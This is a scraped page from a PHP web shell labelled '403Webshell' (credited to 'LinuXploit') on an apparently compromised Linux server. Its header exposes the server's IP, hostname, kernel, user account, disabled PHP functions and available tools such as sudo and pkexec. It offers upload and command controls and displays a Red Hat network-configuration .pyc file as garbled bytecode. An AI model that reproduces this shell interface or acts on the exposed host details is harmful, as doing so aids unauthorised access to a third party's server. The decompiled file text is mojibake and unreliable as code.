403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/system-config-network/netconfpkg/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/system-config-network/netconfpkg/plugins/NCPluginDevEthernet.pyc
Ñò
+z2Wc@sƒdZddklZddklZddklZlZda	da
defd„ƒYZd„Zd„Z
d	„Zd
ZdS(s.Implementation of the generic ethernet device
iÿÿÿÿ(tDevice(tgetDeviceFactory(tETHERNETt
getDeviceTypetDevEthernetcBsDeZdZeZdZdZd„Zd„Z	d„Z
d„ZRS(s
An object of class DevEthernet can be obtained by calling:

    df = getDeviceFactory()
    ethernetclass = df.getDeviceClass(ETHERNET)
    ethernetdevice = ethernetclass()

    It has the following attributes, shown here with the corresponding
    initscripts variables:

    Device          - DEVICE=<name of physical device (except
                      dynamically-allocated PPP devices where it
                      is the "logical name")>
    IP              - IPADDR
    Netmask         - NETMASK
    Gateway         - GATEWAY
    Hostname        - HOSTNAME - Hint for DHCP
    BootProto       - BOOTPROTO=none|bootp|dhcp
    Type            - TYPE=ETHERNET
    HardwareAddress - HWADDR=<MAC Address>
    OnBoot          - ONBOOT=yes|no
    AllowUser       - USERCTL=yes|no
    IPv6Init        - IPV6INIT=yes|no
    AutoDNS         - PEERDNS=yes|no - modify /etc/resolv.conf if peer uses
                      msdns extension (PPP only) or DNS{1, 2} are set, or if
                      using pump or dhcpcd. default to "yes".icCs tt|ƒiƒt|_dS(N(tsuperRt__init__RtType(tself((sJ/usr/share/system-config-network/netconfpkg/plugins/NCPluginDevEthernet.pyR:scCs1t|ƒ}t|dƒo|iidƒS|S(s7get the gtk.Dialog of the ethernet configuration dialogtxmltDialog(t_devEthernetDialogthasattrR	t
get_widget(Rtdialog((sJ/usr/share/system-config-network/netconfpkg/plugins/NCPluginDevEthernet.pyt	getDialog>scCstS(s%get the wizard of the ethernet wizard(t_devEthernetWizard(R((sJ/usr/share/system-config-network/netconfpkg/plugins/NCPluginDevEthernet.pyt	getWizardFscCs4|itjotSt|iƒtjotStS(s<returns True of the device is of the same type as this class(RRtTrueRRtFalse(Rtdevice((sJ/usr/share/system-config-network/netconfpkg/plugins/NCPluginDevEthernet.pytisTypeJs
N(t__name__t
__module__t__doc__RRtNonetSubTypetPriorityRRRR(((sJ/usr/share/system-config-network/netconfpkg/plugins/NCPluginDevEthernet.pyRs			cCs
|adS(sSet the ethernet dialog classN(R(R((sJ/usr/share/system-config-network/netconfpkg/plugins/NCPluginDevEthernet.pytsetDevEthernetDialogRscCs
|adS(sSet the ethernet wizard classN(R(twizard((sJ/usr/share/system-config-network/netconfpkg/plugins/NCPluginDevEthernet.pytsetDevEthernetWizardWscCstƒ}|itƒdS(N(RtregisterR(t_df((sJ/usr/share/system-config-network/netconfpkg/plugins/NCPluginDevEthernet.pytregister_plugin\s	s Harald Hoyer <harald@redhat.com>N(Rtnetconfpkg.NCDeviceRtnetconfpkg.NCDeviceFactoryRtnetconfpkg.NC_functionsRRRRRRRRR!t
__author__(((sJ/usr/share/system-config-network/netconfpkg/plugins/NCPluginDevEthernet.pyt<module>s7			

Youez - 2016 - github.com/yon3zu
LinuXploit